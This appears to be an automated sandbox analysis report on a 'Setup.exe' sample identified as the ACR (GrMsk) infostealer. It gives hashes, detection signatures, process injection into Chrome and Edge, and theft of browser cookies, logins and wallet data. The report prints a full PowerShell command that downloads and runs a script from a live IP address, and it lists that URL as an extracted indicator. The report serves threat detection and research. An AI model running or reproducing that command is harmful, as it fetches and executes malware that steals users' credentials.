Analysis
- max time kernel
153s - max time network
103s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system - submitted
04/11/2025, 15:54
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Setup.exe
Resource
win10v2004-20251016-en
15 signatures
150 seconds
Behavioral task
behavioral2
Sample
Setup.exe
Resource
win11-20251015-en
15 signatures
150 seconds
General
- Target Setup.exe
- Size 672.3MB
- Sample251104-tcmsyadn7v
- SHA256 962bdc61115c4f4bbf4a70a01c5adebd457cab719013ab971b6ca09dfb345c84
- MD5 815be0222c24053f41867b326df738b6
- SHA1 60e43c9b9b0e450eb58533a3d12bc60849052ebe
- SHA512 214d48fee5f6ddd90cf33e0e270aeb1e44a11511c574d3e5de4f6a38e4a7182011b3b9879e957570150c16f9a48951dcdc1c2aa4a545fd08a754a3e2fcf74063
- SSDEEP 393216:zCw3bZuBXEkCOlFKFHyWhKUzzgGFdXMAGOhIAfXRjBZ5KYOfAxU4n:z1go5m4L
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
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ps1
Deobfuscated
Source
URLs
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ps1.dropper
http://87.120.219.26/CCZT7wMNnD29ie
Signatures
- ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Acrstealer family
- Detects unpacked ACRstealer payload 1 IoCs
resource yara_rule behavioral2/memory/1172-1421-0x0000000003C40000-0x0000000003C5A000-memory.dmp family_acrstealer_payload - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 19 1404 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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pid Process 1404 powershell.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1172 Setup.exe 1172 Setup.exe - Suspicious use of SetThreadContext 10 IoCs
description pid Process procid_target PID 1172 set thread context of 5208 1172 Setup.exe 78 PID 1172 set thread context of 2380 1172 Setup.exe 80 PID 1172 set thread context of 5480 1172 Setup.exe 82 PID 1172 set thread context of 5332 1172 Setup.exe 88 PID 1172 set thread context of 5448 1172 Setup.exe 93 PID 1172 set thread context of 1476 1172 Setup.exe 94 PID 1172 set thread context of 1340 1172 Setup.exe 99 PID 1172 set thread context of 1760 1172 Setup.exe 100 PID 1172 set thread context of 5972 1172 Setup.exe 103 PID 1172 set thread context of 5620 1172 Setup.exe 104 - Program crash 1 IoCs
pid pid_target Process procid_target 5804 5620 WerFault.exe 104 - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Setup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe 1172 Setup.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1404 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 1172 wrote to memory of 5208 1172 Setup.exe 78 PID 5208 wrote to memory of 1172 5208 chrome.exe 77 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 1172 wrote to memory of 2380 1172 Setup.exe 80 PID 2380 wrote to memory of 1172 2380 msedge.exe 77 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5480 1172 Setup.exe 82 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5332 1172 Setup.exe 88 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 5448 1172 Setup.exe 93 PID 1172 wrote to memory of 1476 1172 Setup.exe 94 PID 1172 wrote to memory of 1476 1172 Setup.exe 94 PID 1172 wrote to memory of 1476 1172 Setup.exe 94
Processes
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C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1172 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5208
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2380
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:5480
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:5332
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:5448
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:1476
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵PID:1340
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵PID:1760
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1404
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
PID:5972
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"2⤵
- System Location Discovery: System Language Discovery
PID:5620 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5620 -s 5723⤵
- Program crash
PID:5804
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C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵PID:2144
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C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵PID:228
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5620 -ip 56201⤵PID:484
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Cookies
- Size 20KB
- SHA256 72d049174f8bb874a5db67735ce76cab400f25a72391ec557ef2720785b4c4ac
- MD5 febe8b30c72b9ed5786ae265ebaf844a
- SHA1 010452344e00fcf8609b9df083803311efe683e9
- SHA512 01863fd726d2bb344f368673a31df809a58c810940200a8cf02d1be09ce92f1d097419fffabbada9651d2977948111e0916e2012d92974f96ce7c942ef01732e
- SSDEEP 24:TLP91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fB:Tr9aw/aHLopFMavU1iB
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Cookies
- Size 20KB
- SHA256 5b277edf550545d134d0471d153b13004ae47e02b0402787dd370d692ee7c4e0
- MD5 6a01f60d9da13836730fc6eebd84ffaf
- SHA1 f8be0882bcf21e98f0f542a3a7d1d7886dde06d9
- SHA512 891da624b1bfc40cb428c021a53a9cecc82f2d7eed24f7656649ef3d27f50b63df92fe4b532a486855e951365bdd89443a66c1dc87a17ab32f08df9e4c4b197d
- SSDEEP 24:TLZLbXYFpFNYbatqn1kweka6za6UwpQ9YH8PATZ6HfBLnKmWmKuoEm/:T9LopFMatSaw/auUOt8BLnKmWmRTm/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Login Data
- Size 40KB
- SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
- MD5 dfd4f60adc85fc874327517efed62ff7
- SHA1 f97489afb75bfd5ee52892f37383fbc85aa14a69
- SHA512 d76f75b1b5b23aa4f87c53ce44c3d3b7e41a44401e53d89f05a114600ea3dcd8beda9ca1977b489ac6ea5586cf26e47396e92d4796c370e89fab0aa76f38f3c4
- SSDEEP 96:iLSQCn8MouB6w9f/8iZqmvJKLPeymwil:iLSQG7Iw9fEiSi
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Login Data
- Size 56KB
- SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
- MD5 0e2c60740cafa19c5158f4aa41a5d4e7
- SHA1 f01d0f359e407fed424c30919ed64b77508b3024
- SHA512 e367b88f1d984f84b9b4a8fa4002ede1afad0d375f9374636250f17e64445a60d1b99fe23a0b314c4b2bd5fd27fe5b87fa4079a84b4497629f238afd8436afe2
- SSDEEP 96:qUfXG38t8KLPeymORCGr25bn8MouB6w9f/rGSEPONy:qUu0RCGr2V7Iw9fFN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Web Data
- Size 130KB
- SHA256 923f062c347d27181becb161461c74f16da65103ad7c1a1f9b021d7945137c56
- MD5 2e6af6453b058fe257e78ae4e3818459
- SHA1 cc09fd579b1055b749c1606b3d332bab13f06603
- SHA512 cad65e8725648ee666c262a4261f59a9e00a5ade9c760e81f3113469c6f74a8522377b408fe0c464c16306c81400870c31a692f017c0d4419867eaf96407f768
- SSDEEP 192:4B4BvnXuvkUUo4nVaIvsb5wSGpX6v7Wq3+VumpR:yovXuvepnkIvsb5wSOUyVumpR
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Web Data
- Size 228KB
- SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
- MD5 8ce704458e632d243a023357eec3702f
- SHA1 b4857c6a1e277776b8a08c243917eeae5470aa56
- SHA512 a96d4aded8fd5ce2cfeeaba2bc69a399006bc723e1aa0777989648b2fe8caa7b6d421744c2bcd52b633d0e2d41b951df2cbc91ac64054c7b8cb63f887b496449
- SSDEEP 192:DC3fT8aRJQnGqqrgenLfUK3NDivIz6DoNCPaWaVIdssXVydue2g2C0:e3fQuJQnPqrgWLfUK3hivmY4Cvp68C
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ay0zr4jk.uoq.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512